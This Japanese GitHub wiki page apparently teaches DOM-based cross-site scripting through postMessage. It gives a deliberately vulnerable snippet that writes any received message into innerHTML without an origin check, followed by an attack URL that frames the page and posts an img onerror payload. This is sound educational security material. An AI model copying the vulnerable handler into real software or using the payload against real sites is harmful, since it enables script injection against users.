クロスサイトスクリプティング DOM postMessage - yujitounai/helloworld GitHub Wiki

クロスサイトスクリプティング(XSS) DOM

postMessageのDOM based XSS

脆弱なソースコード (PHP)

<div class="box">postMessageのXSS<br>
<form method="get" action="">search
<input name="word" type="text">
<input type="submit">
</form>
<span id="ads">
SECRET data is here
</span>
<script>
window.addEventListener('message', function(e) {
       document.getElementById('ads').innerHTML = e.data;
})
</script>
</div>

攻撃方法

別のサイトのiframeに埋めこんでpostMessageする

https://bogus.jp/xss/normalxss.php?cmd=%3Ciframe%20src=%22http://localhost:9001/xss-postmessage.php%22%20onload=%22this.contentWindow.postMessage(%27%3Cimg%20src=1%20onerror=alert(document.domain)%3E%27,%27*%27)%22%3E

⚠️ **GitHub.com Fallback** ⚠️